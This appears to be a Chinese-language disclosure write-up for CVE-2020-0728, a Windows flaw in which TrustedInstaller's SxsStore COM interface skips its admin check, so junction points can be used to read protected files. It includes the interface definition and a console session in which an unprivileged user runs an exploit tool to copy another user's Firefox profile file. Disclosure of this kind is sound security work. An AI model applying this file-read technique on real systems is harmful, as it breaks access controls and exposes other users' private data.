
Proof of Concept code for CVE-2020-0728
TrustedInstaller.exe 服务以 NT_AUTHORITY\SYSTEM 身份运行,并托管 Sxs Store 类(3C6859CE-230B-48A4-BE6C-932C0C202048)COM 服务以及 ISxsStore 接口。
此服务的访问权限(O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU))授予本地系统上任何用户访问权限。
ISxsStore 接口暴露了 4 个方法:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* 栈偏移: 8 */ [In] int p0);
HRESULT InstallAssembly(/* 栈偏移: 8 */ [In] int p0, /* 栈偏移: 16 */ [In] wchar_t* p1, /* 栈偏移: 24 */ [In] struct Struct_0* p2, /* 栈偏移: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* 栈偏移: 8 */ [In] int p0, /* 栈偏移: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* 栈偏移: 8 */ [In] int p0, /* 栈偏移: 16 */ [In] wchar_t* p1, /* 栈偏移: 24 */ [In] struct Struct_1* p2, /* 栈偏移: 32 */ [In] int* p3);
}
调用时,实现会调用 TiWorker.exe(同样以 NT_AUTHORITY\SYSTEM 身份运行)托管的 ICbsWorker 接口以获取 ICbsSession8 会话,
然后对该接口上的相同方法进行实际调用。
真正的逻辑在 sxsstore.dll 库中实现;授权检查位于 CSxsStore::BeginAssemblyInstall:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
这是通过 CoImpersonateClient+CheckTokenMembership 调用完成的。
问题在于,如果通过 TrustedInstaller.exe 包装器调用 TiWorker.exe 进程托管的会话,则实现的授权逻辑始终遇到来自 NT_AUTHORITY\SYSTEM 的连接,
从而向任何人授予访问权限。
请求安装的程序集由位于 wcp.dll(Windows::COM::CComponentStore::InternalTransact)中的实现放置在 C:\Windows\WinSXS 下,
并且似乎具有足够的安全措施来保护这些方法调用,使其无法逃离此合法目标目录,但清单引用的源文件可以通过连接点进行滥用。
这可以用来绕过文件系统 DAC 并读取本地文件系统上的任何文件,如下所示:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
wcp 框架实际上相当复杂,并包含各种“安装程序”(例如,在“高级”安装程序中包含 GenericCommand 执行),
但上述可访问的接口似乎仅限于“原始安装程序”。我可以触发执行
CRegistryInstaller::CommitChanges,它将日志输出到 C:\Windows\Logs\CBS\CBS.log,内容类似于:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
但实际上它从未真正调用任何 API 方法来更改注册表中的任何内容。
上述报告及 PoC 代码由 Imre Rad 提交,但也由 NCC 的研究人员(实际上早几个月)识别。
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728